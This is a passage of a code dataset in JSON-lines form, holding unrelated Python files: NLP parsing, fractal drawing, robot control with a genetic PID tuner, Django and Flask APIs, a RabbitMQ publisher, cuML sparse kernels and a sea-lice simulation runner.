date_ini)\nplt.savefig(\"./primary.png\")\n","sub_path":"images/primary.py","file_name":"primary.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"478878510","text":"# pip install --user -U nltk\n\nimport nltk\nfrom nltk import text\nimport spacy\n\ngrammar = nltk.CFG.fromstring(\"\"\" \nS -> NP VP \nNP -> PN | Det N | N \nVP -> IV | IV ADV | AV ADJ | TV PN NP | V NP \nDet -> 'the' | 'a' | 'an' \nADJ -> 'scary' | 'tall' | 'short' | 'blonde' | 'slim' | 'fat' \nN -> 'cat' | 'dog' | 'cats' | 'food' | 'book'| 'books'\nAV -> 'is' | 'does' | 'are' | 'do' \nIV -> 'runs' | 'run' | 'running' | 'hurts' | 'hurt' | 'hurting' | 'walks' | 'walk' | 'walking' | 'jumps' | 'jump' | 'jumping' | 'shoots' | 'shoot' | 'shooting' \nTV -> 'gives' | 'give' | 'gave' | 'giving' \nV -> 'chased' | 'chase' | 'needs' | 'need' | 'hates' | 'hate' | 'has' | 'have' | 'loves' | 'love' | 'kicks' | 'kick' | 'jumps' | 'jump' \nPN -> 'Mary' | 'John' | 'Tommy' \nADV -> 'quickly' | 'slowly' | 'independently' \"\"\")\n\n# store dog.txt as a string\ndog_txt = open(\"../resources/dog.txt\", \"r\").read()\n\n# store mary.txt as a string\nmary_txt = open(\"../resources/mary.txt\", \"r\").read()\n\n# load English tokenizer, tagger, parser and NER\nnlp = spacy.load(\"en_core_web_sm\")\n\n\nparser = nltk.ChartParser(grammar) \n\n\n\ntext_file = \"\"\n\ntry: \n text_selection = int(input(\"[*] Please select a text file (1 or 2).\\n\"))\n\n if text_selection == 1:\n text_file = dog_txt\n elif text_selection == 2:\n text_file = mary_txt\n else:\n print(\"Invalid input. Selecting default text file...\")\n text_file = dog_txt\nexcept:\n print(\"Invalid input. Selecting default text file.\")\n text_file = dog_txt\n\nfor sentence in nlp(text_file).sents:\n\n # print current sentence\n sent = sentence.text.replace(\".\",\"\").split(\" \")\n\n for tree in parser.parse(sent):\n tree.draw()","sub_path":"tasks/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"215305805","text":"import numpy as np\nimport cv2\nwidth = height = 1024\n\nscreen = np.zeros((width, height, 3))\ncv2.namedWindow(\"title\", cv2.WINDOW_NORMAL)\ncv2.resizeWindow(\"title\", width, width)\ndef show():\n cv2.imshow(\"title\", screen)\n \nshow()\n\ndef horiz(y):\n cv2.line(screen, (0, y), (width, y), 1)\n\ndef vert(x):\n cv2.line(screen, (x, 0), (x, height), 1)\n\n\ncolor = np.array([0., 0., 0.])\nx = 64\ny = 64\nslide = 0\n\nwhile(True):\n\n for _ in range(1900):\n screen[int(y), int(x)] = color\n color *= .93\n \n r = np.random.random()\n if r < .33:\n color[0] = 1\n #x, y = x- width / 2, y - width / 2\n \n \n\n x, y = np.cos(slide) * x + np.sin(slide) * y, -np.sin(slide) * x + np.cos(slide) * y\n \n #x, y = x + width / 2, y + width / 2\n x = x / 2 + width / 4\n y /= 2\n elif r < .66:\n color[1] = 1\n x /= 2\n y = y / 2 + width / 2\n else:\n color[2] = 1\n xt = x\n x = width / 2 + x / 2 \n y = width/2 + y / 2\n screen *= .97\n slide += .0003\n temp = cv2.waitKey(1)\n if temp == ord(\"q\"):\n break\n show()\n \ncv2.line(screen, (0, 0), (100, 100), 1)\nshow()","sub_path":"sierpenski2.py","file_name":"sierpenski2.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"137424059","text":"import time\n\nfrom autobuggy.vision.rccamera import RcCamera\nfrom pipeline import Pipeline\nfrom standard_robot import StandardRobot\n\n\nclass RCcarRunner(StandardRobot):\n def __init__(self, log_data=True, enable_autonomous=True, enable_camera=True):\n self.enable_autonomous = enable_autonomous\n self.enable_camera = enable_camera\n \n if self.enable_camera:\n cam_width = 480\n cam_height = 320\n pipeline = Pipeline(cam_width, cam_height, False)\n capture = RcCamera(cam_width, cam_height,\n update_fn=lambda params: self.update_camera())\n else:\n pipeline = None\n capture = None\n \n \n super(RCcarRunner, self).__init__(pipeline, capture,\n map_name=\"test goal track.gpx\", log_data=log_data)\n \n if self.enable_autonomous:\n initial_long, initial_lat = self.checkpoints[1]\n second_long, second_lat = self.checkpoints[2]\n\n bearing = self.filter.get_gps_bearing(\n initial_long, initial_lat, second_long, second_lat\n )\n\n self.filter.initialize_filter(\n initial_long, initial_lat, bearing\n )\n self.record(\"initial conditions\", initial_long=initial_long,\n initial_lat=initial_lat, initial_heading=bearing)\n\n self.checkpoint_num = 1\n self.start()\n\n def button_dn(self, button, params):\n if button == 'B' and self.enable_autonomous:\n self.manual_mode = not self.manual_mode\n print(\"Switching to\",\n \"manual mode!\" if self.manual_mode else \"autonomous!\")\n if self.manual_mode:\n self.motors.set(0)\n self.servo.set(0)\n else:\n self.motors.set(100)\n elif button == 'A':\n self.record('checkpoint', num=self.checkpoint_num)\n print(\"Checkpoint %i recorded!\" % self.checkpoint_num)\n self.checkpoint_num += 1\n\n def main(self):\n if not self.manual_mode and self.enable_autonomous:\n angle_command = self.controller.update(\n self.filter.state, self.goal_x, self.goal_y)\n self.goal_x, self.goal_y = self.waypoints.get_goal(\n self.filter.state)\n\n self.servo.set(self.angle_to_servo(angle_command))\n# print(self.yaw.get(all=True, as_tuple=False))\n# print(\"%4.0i\\t%0.4f\\t(%0.6f\\t%0.6f) \" % (self.encoder.get(\"counts\"), self.yaw.get(\"yaw\"), self.gps.get(\"long\"), self.gps.get(\"lat\")), end='\\r')\n\n time.sleep(0.1)\n\n\nRCcarRunner(enable_autonomous=False, enable_camera=False, log_data=True).run()\n","sub_path":"Robots/rccar/rccar_runner.py","file_name":"rccar_runner.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"299548662","text":"# Create your views here.\nfrom rest_framework import filters\nfrom rest_framework import viewsets\n\nfrom genetica.models import LoteGenetica, AnimalGenetica\nfrom genetica.serializers import LoteGeneticaSerializer, AnimalGeneticaSerializer\n\n\nclass LoteGeneticaViewSet(viewsets.ModelViewSet):\n serializer_class = LoteGeneticaSerializer\n queryset = LoteGenetica.objects.all()\n filter_backends = (filters.DjangoFilterBackend,)\n filter_fields = ('establecimiento',)\n\n\nclass AnimalGeneticaViewSet(viewsets.ModelViewSet):\n serializer_class = AnimalGeneticaSerializer\n queryset = AnimalGenetica.objects.all()\n filter_backends = (filters.DjangoFilterBackend,)\n filter_fields = ('establecimiento','animal',)\n","sub_path":"genetica/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"440412539","text":"\n\nimport rospy\nimport argparse\n\nimport baxter_interface\nfrom math import sqrt,sin,cos\nimport numpy as np\nimport time\nimport random\nimport pdb\nimport os\nfrom baxter_core_msgs.msg import JointCommand\nfrom baxter_pykdl import baxter_kinematics\n\n\nrospy.init_node('baxter_kinematics')\n#Ponemos RATE de mensaje\nrate = rospy.Rate(500) #10000 104 es la primera que funciona bien - Seria 0.1 ms o 10kHz \n#Creamos objeto PUBLICADOR\npub = rospy.Publisher('/robot/limb/left/joint_command',JointCommand,queue_size=10)\nlimb = baxter_interface.Limb('left')\n\nmin_KP = 0\nmax_KP = 100\nmin_KD = 0.01\nmax_KD = 1\nmin_KI = 1\nmax_KI = 10\n\n\ndef individual():\n #Crea individuo\n a = [random.uniform(min_KP, max_KP) for i in [0,1,2,3,4,5,6]]\n b = [random.uniform(min_KD,max_KD) for i in [7,8,9,10,11,12,13]]\n c = [random.uniform(min_KI,max_KI) for i in [14,15,16,17,18,19,20]] \n return a + b + c;\n\ndef crearPoblacion():\n #Crea una poblacion\n return [individual() for i in range(num)]\n\ndef selection_and_reproduction(gen,population,q_d):\n # Puntua todos los elementos de la poblacion (population) y se queda con los mejores\n # guardandolos dentro de 'selected'.\n # Despues mezcla el material genetico de los elegidos para crear nuevos individuos y\n # llenar la poblacion (guardando tambien una copia de los individuos seleccionados sin\n # modificar).\n \n # Por ultimo muta a los individuos.\n n = len(population)-pressure\n puntuados = [];\n \n if gen == 0:\n for i in population:\n print(len(puntuados))\n puntuados.append((calcularFitness(i,q_d),i))\n #Calcula el fitness de cada individuo, y lo guarda en pares ordenados de la forma (5 , [1,2,1,1,4,1,8,9,4,1])\n else:\n error_ant = np.load(os.path.join('VERTICAL','error'+str(gen-1) + '.npy'));\n gen_ant = np.load(os.path.join('VERTICAL','generacion'+str(gen-1) + '.npy'));\n\n for i in population[:n]:\n print(len(puntuados))\n puntuados.append((calcularFitness(i,q_d),i))\n\n\n for i in range(pressure):\n e = error_ant[len(population)-i-1];\n g = gen_ant[len(population)-i-1];\n puntuados.append((e,g))\n\n error = np.array([i[0] for i in sorted(puntuados)[::-1]]);\n np.save(os.path.join('VERTICAL','error' + str(gen)+'.npy'),error);\n\n# pdb.set_trace()\n puntuados = [j[1] for j in sorted(puntuados)[::-1]] ;#Ordena los pares ordenados y se queda solo con el array de valores\n population = puntuados;\n \n np.save(os.path.join('VERTICAL','generacion'+str(gen)),np.array(population));\n# pdb.set_trace()\n \n \n selected = puntuados[n:] ;#Esta linea selecciona los 'n' individuos del final, donde n viene dado por 'pressure'\n \n \n \n #Se mezcla el material genetico para crear nuevos individuos\n for i in range(n):\n punto = random.randint(1,largo-1) #Se elige un punto para hacer el intercambio\n padre = random.sample(selected, 2) #Se eligen dos padres\n \n population[i][:punto] = padre[0][:punto] #Se mezcla el material genetico de los padres en cada nuevo individuo\n population[i][punto:] = padre[1][punto:]\n \n return population #El array 'population' tiene ahora una nueva poblacion de individuos, que se devuelven\n\ndef mutation(population):\n \n # Se mutan los individuos al azar. Sin la mutacion de nuevos genes nunca podria\n # alcanzarse la solucion.\n \n for i in range(len(population)-pressure):\n if random.random() <= mutation_chance: #Cada individuo de la poblacion (menos los padres) tienen una probabilidad de mutar\n n_mutaciones = random.randint(1,5)\n for j in range(n_mutaciones):\n punto = random.randint(0,largo-1) #Se elgie un punto al azar\n if punto > 6 and punto < 14:\n nuevo_valor = random.uniform(min_KD,max_KD)\n else:\n nuevo_valor = random.uniform(min_KP,max_KP)\n #Es importante mirar que el nuevo valor no sea igual al viejo\n while nuevo_valor == population[i][punto]:\n if punto > 6 and punto < 14:\n nuevo_valor = random.uniform(min_KD,max_KD)\n else:\n nuevo_valor = random.uniform(min_KP,max_KP)\n \n #Se aplica la mutacion\n population[i][punto] = nuevo_valor\n \n #print(population);\n return population\n\n\ndef fifth( buffer,h ):\n haux = 5.0*h;\n m = haux/288.0;\n return m * (19.0*buffer[len(buffer)-6] + 75.0*buffer[len(buffer)-5] + 50.0*buffer[len(buffer)-4] + 50.0*buffer[len(buffer)-3] + 75.0*buffer[len(buffer)-2] + 19.0*buffer[len(buffer)-1]);\n\n\ndef sixth( buffer,h ):\n haux = 6.0*h;\n m = haux/840.0;\n return m * (41.0*buffer[len(buffer)-7] + 216.0*buffer[len(buffer)-6] + 27.0*buffer[len(buffer)-5] + 272.0*buffer[len(buffer)-4] + 27.0*buffer[len(buffer)-3] + 216.0*buffer[len(buffer)-2] + 41.0*buffer[len(buffer)-1]);\n\n\ndef boolerule( buffer,h ):\n\n haux = 4.0*h;\n m = haux/90.0;\n return m * (7.0*buffer[len(buffer)-5] + 32.0*buffer[len(buffer)-4] + 12.0*buffer[len(buffer)-3] + 32.0*buffer[len(buffer)-2] + 7.0*buffer[len(buffer)-1]);\n\n\n\ndef simp3_8( buffer,h ):\n haux = 3.0*h;\n m = haux/8.0;\n return m * (buffer[len(buffer)-4] + 3.0*buffer[len(buffer)-3] + 3.0*buffer[len(buffer)-2]+ buffer[len(buffer)-1]);\n\n\ndef simp( buffer, h ):\n haux = 2.0 * h;\n m = haux/6.0;\n return m * (buffer[len(buffer)-3] + 4.0*buffer[len(buffer)-2] + buffer[len(buffer)-1]);\n\ndef trap(buffers,h):\n\n suma = 0.5 * (buffers[len(buffers)-2] + buffers[len(buffers)-1]);\n\n integral = h*suma;\n\n return integral\n\ndef integra(buffer,h):\n\n n = len(buffer);\n\n if n == 1:\n return [0,0,0,0,0,0,0]\n elif n == 2:\n return trap(buffer,h);\n elif n == 3:\n return simp(buffer,h);\n elif n == 4:\n return simp3_8(buffer,h);\n elif n == 5:\n return boolerule(buffer,h);\n elif n == 6:\n return fifth(buffer,h);\n else:\n return sixth(buffer,h);\n\ndef generaTrayectoria(n,puntos):\n\n qObjs = [];\n numero_puntos = len(puntos);\n\n for i in range(numero_puntos-1):\n qDes = puntos[i];\n qDes_siguiente = puntos[i+1];\n\n dif = qDes_siguiente - qDes;\n qObjs.append(qDes);\n j = 0;\n while j < n/numero_puntos:\n ultQ = qObjs[len(qObjs)-1];\n qObjs.append(ultQ + ((dif*1.0)/(n*1.0))*numero_puntos)\n j = j + 1;\n \n \n dif = puntos[0] - puntos[len(puntos)-1];\n qObjs.append(puntos[len(puntos)-1]);\n j = 0;\n while j < n/numero_puntos:\n ultQ = qObjs[len(qObjs)-1];\n qObjs.append(ultQ + ((dif*1.0)/(n*1.0))*numero_puntos)\n j = j + 1;\n \n return qObjs;\n\ndef generaRombo(n,limb):\n \n qObjs = [];\n\n m = {'left_w0': 0.0,'left_w1': 0.0, 'left_w2': 0.0,'left_e0': 0.0,'left_e1': 0.0,'left_s0': -1.0, 'left_s1':0.0}\n limb.move_to_joint_positions(m)\n\n qDes1 = np.array([-1.0,0.0,0.0,0.0,0.0,0.0,0.0]);\n qDes2 = np.array([-0.5,-0.5,0.0,0.0,0.0,0.0,0.0]);\n qDes3 = np.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0]);\n qDes4 = np.array([-0.5,0.5,0.0,0.0,0.0,0.0,0.0]);\n\n qDes5 = np.array([-1.0,0.0,0.0,0.0,0.0,0.0,0.0]);\n qDes6 = np.array([-0.25,-0.5,0.0,0.0,0.0,0.0,0.0]);\n qDes7 = np.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0]);\n qDes8 = np.array([-0.25,0.5,0.0,0.0,0.0,0.0,0.0]);\n\n\n puntos = [];\n puntos.append(qDes1); puntos.append(qDes2); puntos.append(qDes3); puntos.append(qDes4);\n\n return generaTrayectoria(n,puntos);\n\ndef generaMovimientoVertical(n,limb):\n\n qObjs = [];\n\n m = {'left_w0': 0.0,'left_w1': 0.0, 'left_w2': 0.0,'left_e0': 0.0,'left_e1': 0.0,'left_s0': -0.5, 'left_s1':0.0}\n limb.move_to_joint_positions(m)\n\n qDes1 = np.array([-0.5,0.5,0.0,0.0,0.0,0.0,0.0]);\n qDes2 = np.array([-0.5,0.0,0.0,0.0,0.0,0.0,0.0]);\n qDes3 = np.array([-0.5,-0.5,0.0,0.0,0.0,0.0,0.0]);\n\n puntos = [];\n puntos.append(qDes1); puntos.append(qDes2);puntos.append(qDes3);\n\n return generaTrayectoria(n,puntos);\n\ndef generaMovimientoHorizontal(n,limb):\n\n qObjs = [];\n\n m = {'left_w0': 0.0,'left_w1': 0.0, 'left_w2': 0.0,'left_e0': 0.0,'left_e1': 0.0,'left_s0': -1.0, 'left_s1':0.0}\n limb.move_to_joint_positions(m)\n\n qDes1 = np.array([-1.0,0.0,0.0,0.0,0.0,0.0,0.0]);\n qDes2 = np.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0]);\n qDes3 = np.array([-1.0,0.0,0.0,0.0,0.0,0.0,0.0]);\n qDes4 = np.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0]);\n\n puntos = [];\n puntos.append(qDes1); puntos.append(qDes2);#puntos.append(qDes3); puntos.append(qDes4);\n\n return generaTrayectoria(n,puntos);\n\ndef applyFext(kinematics,Fext):\n\n f_ext = np.array(Fext)\n\n tau_externa = kinematics.jacobian_transpose()*f_ext\n\n tau_externa = np.array(tau_externa.reshape((1,7))).flatten()\n\n return tau_externa\n\ndef distanciaEuclidea(v1,v2):\n \n suma = 0;\n for i in range(len(v1)):\n suma = suma + (v2[i]-v1[i])**2\n return np.sqrt(suma);\n\ndef calcularFitness(individual,qObjs):\n\n fitness = 0;\n\n KP = np.array(individual[0:7])\n KD = np.array(individual[7:14])\n KI = np.array(individual[14:21])\n\n m = {'left_w0': 0.0,'left_w1': 0.0, 'left_w2': 0.0,'left_e0': 0.0,'left_e1': 0.0,'left_s0': -1.0, 'left_s1':0.0}\n limb.move_to_joint_positions(m)\n\n #Creamos MENSAJE\n msg = JointCommand()\n #Modo - 1 (CONTROL POR POSICION)\n msg.mode = 3\n msg.names = ['left_s0','left_s1','left_e0','left_e1','left_w0','left_w1','left_w2']\n\n errores = []\n errores2 = []\n dt = [] \n\n t = 0;\n i = 0;\n\n q_sensores = [];\n\n kinematics = baxter_kinematics('left')\n\n while i < len(qObjs):\n\n dt.append(time.clock())\n\n qDes = qObjs[i];\n \n \n\n angles = limb.joint_angles()\n q = np.array([angles['left_s0'],angles['left_s1'],angles['left_e0'],angles['left_e1'],angles['left_w0'],angles['left_w1'],angles['left_w2']])\n\n q_sensores.append(q);\n\n error = np.array(qDes-q)\n errores.append(error)\n\n f_ext = np.zeros((6,1))\n f_ext[2] = -2\n\n\n\n if i != 0:\n der = (errores[len(errores)-1] - errores[len(errores)-2]) / (dt[len(dt)-2] - dt[len(dt)-1])\n torque = KP*error + KD*np.array(der) \n else:\n der = errores[len(errores)-1]\n torque = KP*error + KD*np.array(der)\n \n f = applyFext(kinematics,f_ext)\n torque = torque + f\n\n \n m = {'left_w0': torque[4], 'left_w1': torque[5], 'left_w2': torque[6], 'left_e0': torque[2], 'left_e1': torque[3], 'left_s0': torque[0], 'left_s1': torque[1]}\n msg.command = [torque[0],torque[1],torque[2],torque[3],torque[4],torque[5],torque[6]]\n pub.publish(msg) #Publicamos el mensaje\n rate.sleep() #Esperamos para conseguir el rate deseado\n #limb.set_joint_torques(m)\n\n for l in range(len(error)):\n fitness = fitness + error[l]*error[l];\n\n i = i + 10;\n \n\n\n print(fitness);\n return fitness;\n\n\n\nif __name__ == \"__main__\":\n\n largo = 21; #La longitud del material genetico de cada individuo\n num = 10; #La cantidad de individuos que habra en la poblacion\n pressure = 3; #Cuantos individuos se seleccionan para reproduccion. Necesariamente mayor que 2\n mutation_chance = 0.5; #La probabilidad de que un individuo mute\n numero_generaciones = 1000;\n \n n = 300000\n qObjs = generaRombo(n,limb)\n\n population = np.load(os.path.join('VERTICAL','generacion600.npy'));\n calcularFitness(population[9],qObjs);\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"PYTHONSOURCE/APP/ROMBO_QT/PD3.py","file_name":"PD3.py","file_ext":"py","file_size_in_byte":11243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"404748703","text":"\"\"\"REST API for saying hi.\"\"\"\n# from app import app as application\nfrom flask import *\n# import send_static_file\nimport os\nimport datetime\nimport jsonify\nfrom collections import defaultdict\napp = Flask(__name__)\nBASE_URL = os.path.abspath(os.path.dirname(__file__))\nCLIENT_APP_FOLDER = os.path.join(BASE_URL, \"dist\")\njinja_options = app.jinja_options.copy()\n\njinja_options.update(dict(\n block_start_string='<%',\n block_end_string='%>',\n variable_start_string='%%',\n variable_end_string='%%',\n comment_start_string='<#',\n comment_end_string='#>'\n))\napp.jinja_options = jinja_options\nimport numpy as np\nimport datetime\nnp.random.seed(42)\n\nrooms = defaultdict()\nvisited = defaultdict(lambda : False)\nvisitedAgain = defaultdict(lambda : False)\n\n@app.route('/input', methods=[\"POST\"])\ndef addToRoom():\n\tprint(request.form)\n\tr = request.get_json()\n\troom = r['room']\n\tscore = r['score']\n\tif visited[room]:\n\t\ttoReturn = json.dumps(compare(score, rooms[room]))\n\t\tvisitedAgain[room] = True\n\telse:\n\t\ttoReturn = json.dumps(\"nobody else in the room!\")\n\tif room and score:\n\t\trooms[room] = score\n\t\tvisited[room] = True\n\treturn toReturn\n\ndef compare(one, two):\n\tprint(request.form)\n\twellford = one\n\tpanda = two\n\treturn wellford > panda\n\n@app.route('/check', methods=[\"GET\"])\ndef apiCheck():\n\treturn json.dumps(visitedAgain[request.args['room']])\n\nif __name__ == \"__main__\":\n\t# Setting debug to True enables debug output. This line should be\n\t# removed before deploying a production app.\n\tapp.debug = True\n\tapp.run()","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"571351563","text":"#! /usr/bin/env python3\n\nimport pika\nimport sys\n\nconnections_params = pika.ConnectionParameters('localhost')\nconnection = pika.BlockingConnection(connections_params)\n\nchannel = connection.channel()\nchannel.exchange_declare(exchange='logs', exchange_type='fanout')\n\nmessage = ' '.join(sys.argv[1:]) or 'Hello World!'\nchannel.basic_publish(exchange='logs', routing_key='', body=message)\n\nprint(\" [x] Sent %r\" % message)\nconnection.close()","sub_path":"3.pubsub/publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"526668295","text":"class Solution:\n def reverseString(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n sList = list(s)\n l = 0\n r = len(s)-1\n while l < r:\n sList[l], sList[r] = sList[r], sList[l]\n l += 1\n r -= 1\n return \"\".join(str(char) for char in sList)\n","sub_path":"reverseString.py","file_name":"reverseString.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"620143657","text":"#\n# Copyright (c) 2020, NVIDIA CORPORATION.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport math\nimport cupy as cp\nimport cupyx\nimport cuml.internals\nfrom cuml.common.kernel_utils import cuda_kernel_factory\n\n\ndef _map_l1_norm_kernel(dtype):\n \"\"\"Creates cupy RawKernel for csr_raw_normalize_l1 function.\"\"\"\n\n map_kernel_str = r'''\n ({0} *data, {1} *indices, {2} *indptr, int n_samples) {\n\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n\n if(tid >= n_samples) return;\n {0} sum = 0.0;\n\n\n for(int i = indptr[tid]; i < indptr[tid+1]; i++) {\n sum += fabs(data[i]);\n }\n\n\n if(sum == 0) return;\n\n for(int i = indptr[tid]; i < indptr[tid+1]; i++) {\n data[i] /= sum;\n }\n }\n '''\n return cuda_kernel_factory(map_kernel_str, dtype, \"map_l1_norm_kernel\")\n\n\ndef _map_l2_norm_kernel(dtype):\n \"\"\"Creates cupy RawKernel for csr_raw_normalize_l2 function.\"\"\"\n\n map_kernel_str = r'''\n ({0} *data, {1} *indices, {2} *indptr, int n_samples) {\n\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n\n if(tid >= n_samples) return;\n {0} sum = 0.0;\n\n for(int i = indptr[tid]; i < indptr[tid+1]; i++) {\n sum += (data[i] * data[i]);\n }\n\n if(sum == 0) return;\n\n sum = sqrt(sum);\n\n for(int i = indptr[tid]; i < indptr[tid+1]; i++) {\n data[i] /= sum;\n }\n }\n '''\n return cuda_kernel_factory(map_kernel_str, dtype, \"map_l2_norm_kernel\")\n\n\n@cuml.internals.api_return_any()\ndef csr_row_normalize_l1(X, inplace=True):\n \"\"\"Row normalize for csr matrix using the l1 norm\"\"\"\n if not inplace:\n X = X.copy()\n\n kernel = _map_l1_norm_kernel((X.dtype, X.indices.dtype, X.indptr.dtype))\n kernel((math.ceil(X.shape[0] / 32),), (32,),\n (X.data, X.indices, X.indptr, X.shape[0]))\n\n return X\n\n\n@cuml.internals.api_return_any()\ndef csr_row_normalize_l2(X, inplace=True):\n \"\"\"Row normalize for csr matrix using the l2 norm\"\"\"\n if not inplace:\n X = X.copy()\n\n kernel = _map_l2_norm_kernel((X.dtype, X.indices.dtype, X.indptr.dtype))\n kernel((math.ceil(X.shape[0] / 32),), (32,),\n (X.data, X.indices, X.indptr, X.shape[0]))\n\n return X\n\n\n@cuml.internals.api_return_any()\ndef csr_diag_mul(X, y, inplace=True):\n \"\"\"Multiply a sparse X matrix with diagonal matrix y\"\"\"\n if not inplace:\n X = X.copy()\n # grab underlying dense ar from y\n y = y.data[0]\n X.data *= y[X.indices]\n return X\n\n\n@cuml.internals.api_return_any()\ndef create_csr_matrix_from_count_df(count_df, empty_doc_ids, n_doc, n_features,\n dtype=cp.float32):\n \"\"\"\n Create a sparse matrix from the count of tokens by document\n\n Parameters\n ----------\n count_df = cudf.DataFrame({'count':..., 'doc_id':.., 'token':.. })\n sorted by doc_id and token\n empty_doc_ids = cupy array containing doc_ids with no tokens\n n_doc: Total number of documents\n n_features: Number of features\n dtype: Output dtype\n \"\"\"\n data = count_df[\"count\"].values\n indices = count_df[\"token\"].values\n\n doc_token_counts = count_df[\"doc_id\"].value_counts().reset_index()\n del count_df\n doc_token_counts = doc_token_counts.rename(\n {\"doc_id\": \"token_counts\", \"index\": \"doc_id\"}, axis=1\n ).sort_values(by=\"doc_id\")\n\n token_counts = _insert_zeros(\n doc_token_counts[\"token_counts\"], empty_doc_ids\n )\n indptr = token_counts.cumsum()\n indptr = cp.pad(indptr, (1, 0), \"constant\")\n\n return cupyx.scipy.sparse.csr_matrix(\n arg1=(data, indices, indptr), dtype=dtype,\n shape=(n_doc, n_features)\n )\n\n\ndef _insert_zeros(ary, zero_indices):\n \"\"\"\n Create a new array of len(ary + zero_indices) where zero_indices\n indicates indexes of 0s in the new array. Ary is used to fill the rest.\n\n Examples\n --------\n _insert_zeros([1, 2, 3], [1, 3]) => [1, 0, 2, 0, 3]\n \"\"\"\n if len(zero_indices) == 0:\n return ary.values\n\n new_ary = cp.zeros((len(ary) + len(zero_indices)), dtype=cp.int32)\n\n # getting mask of non-zeros\n data_mask = ~cp.in1d(cp.arange(0, len(new_ary), dtype=cp.int32),\n zero_indices)\n\n new_ary[data_mask] = ary\n return new_ary\n","sub_path":"python/cuml/common/sparsefuncs.py","file_name":"sparsefuncs.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"281381937","text":"#!/usr/bin/env python\n\nfrom __future__ import annotations\n\n\"\"\"\nSimulate effects of sea lice population on salmon population in\na given body of water.\nSee README.md for details.\n\"\"\"\nimport cProfile\n\nimport slim\nfrom slim.log import logger, create_logger\n\nfrom slim.simulation.simulator import Simulator, reload\nfrom slim.simulation.config import to_dt\n\n\nif __name__ == \"__main__\":\n # set up and read the command line arguments\n parser = slim.common_cli_options(\"SLIM runner\")\n parser.add_argument(\n \"--profile\",\n help=\"(DEBUG) Dump cProfile stats. The output path is your_simulation_path/profile.bin. Recommended to run together with --local-mode\",\n default=False,\n action=\"store_true\",\n )\n parser.add_argument(\n \"--save-rate\",\n help=\"Interval (in days) to log the simulation output. If 0, do not save run artifacts except for the last day\"\n \"and other benchmarks\",\n type=int,\n default=1,\n )\n\n resume_group = parser.add_mutually_exclusive_group()\n resume_group.add_argument(\n \"--resume\",\n type=str,\n help=\"(DEBUG) resume the simulator from a given timestep. All configuration variables will be ignored.\",\n )\n resume_group.add_argument(\n \"--resume-after\",\n type=int,\n help=\"(DEBUG) resume the simulator from a given number of days since the beginning of the simulation. All configuration variables will be ignored.\",\n )\n resume_group.add_argument(\n \"--checkpoint-rate\",\n help=\"(DEBUG) Interval to dump the simulation state. Allowed in single-process mode only.\",\n type=int,\n required=False,\n )\n\n cfg, args, output_folder = slim.get_config(parser)\n\n # set up config class and logger (logging to file and screen.)\n create_logger()\n\n # silence if needed\n if args.quiet:\n logger.addFilter(lambda record: False)\n\n simulation_id = cfg.name\n\n # run the simulation\n resume = True\n if args.resume is not None:\n resume_time = to_dt(args.resume)\n sim = reload(output_folder, simulation_id, timestamp=resume_time)\n elif args.resume_after is not None:\n sim = reload(output_folder, simulation_id, resume_after=args.resume_after)\n else:\n sim = Simulator(output_folder, cfg)\n resume = False\n\n if not args.profile:\n sim.run_model(resume=resume, quiet=args.quiet)\n else:\n profile_output_path = output_folder / f\"profile_{simulation_id}.bin\"\n # atexit.register(lambda prof=prof: prof.print_stats(output_unit=1e-3))\n cProfile.run(\"sim.run_model()\", str(profile_output_path))\n","sub_path":"slim/SeaLiceMgmt.py","file_name":"SeaLiceMgmt.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"366131953","text":"import plotly.offline as offline\nfrom plotly import tools\nimport plotly.graph_objs as go\nimport pandas as pd\nimport pandas_datareader.data as web\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nimport numpy as np\nimport plotly\nimport plotly.graph_objs as go\nfrom plotly.offline import *\nimport sys\n\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n1. 키움API를 활용한( CSV 처리로 미리 테스트 ) 주가차트 시각화\n2. plotly를 활용\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n\nstock_df = 